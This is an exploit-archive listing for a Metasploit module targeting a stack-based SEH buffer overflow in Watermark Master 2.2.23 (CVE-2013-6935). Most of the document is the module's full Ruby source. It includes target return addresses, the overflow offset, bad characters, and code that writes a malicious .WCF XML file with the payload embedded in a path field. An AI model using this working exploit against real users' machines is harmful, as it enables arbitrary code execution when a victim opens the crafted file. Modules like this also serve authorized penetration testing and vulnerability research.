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Watermark Master Buffer Overflow (SEH)

Watermark Master Buffer Overflow (SEH)
Posted Oct 8, 2015
Authored by metacom, Andrew Smith aka jakx | Site metasploit.com

This Metasploit module exploits a stack based buffer overflow in Watermark Master 2.2.23 when processing a specially crafted .WCF file. This vulnerability could be exploited by a remote attacker to execute arbitrary code on the target machine by enticing a user of Watermark Master to open a malicious .WCF file.

tags | exploit, remote, overflow, arbitrary
advisories | CVE-2013-6935, OSVDB-99226
MD5 | e96cc75fbeadcae3c0350ad531ebaf04

Watermark Master Buffer Overflow (SEH)

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Watermark Master Buffer Overflow (SEH)',
'Description' => %q{
This module exploits a stack based buffer overflow in Watermark Master 2.2.23 when
processing a specially crafted .WCF file. This vulnerability could be
exploited by a remote attacker to execute arbitrary code on the target
machine by enticing a user of Watermark Master to open a malicious .WCF file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'metacom', # Original discovery
'Andrew Smith', # MSF Module
],
'References' =>
[
[ 'OSVDB', '99226' ],
[ 'CVE', '2013-6935'],
[ 'EBD', '29327' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x3c\x22\x26",
'DisableNops' => false,
'Space' => 7276
},

'Targets' =>
[
[ 'Windows 7 x32 - Watermark Master 2.2.23',
{
'Ret' => 0x10015f2d, #p/p/r | CommonClassesMFC.dll
'Offset' => 516
}
],
[ 'Windows 7 x64 - Watermark Master 2.2.23',
{
'Ret' => 0x1001329a, #p/p/r | CommonClassesMFC.dll
'Offset' => 516
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Nov 1 2013',
'DefaultTarget' => 0))

register_options([OptString.new('FILENAME', [ false, 'The file name.', 'msf.wcf']),], self.class)

end

def exploit

buffer = rand_text(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << payload.encoded
buffer << rand_text(18000 - buffer.length)

file = %Q|<?xml version="1.0" encoding="Windows-1252" ?><config ver="2.2.23.00">
<cols name="Files"/>
<cols name="Profiles">
<Property name="Profile">
<cols name="Watermarks"/>
<cols name="Timelines"/>
<cols name="Streams">
<Property name="Stream">
<Value name="SourcePath" type="8" value="#{buffer}"/>
</Property>
</cols>
<cols name=""/>
</Property>
</cols>
</config>|

print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create(file)

end
end

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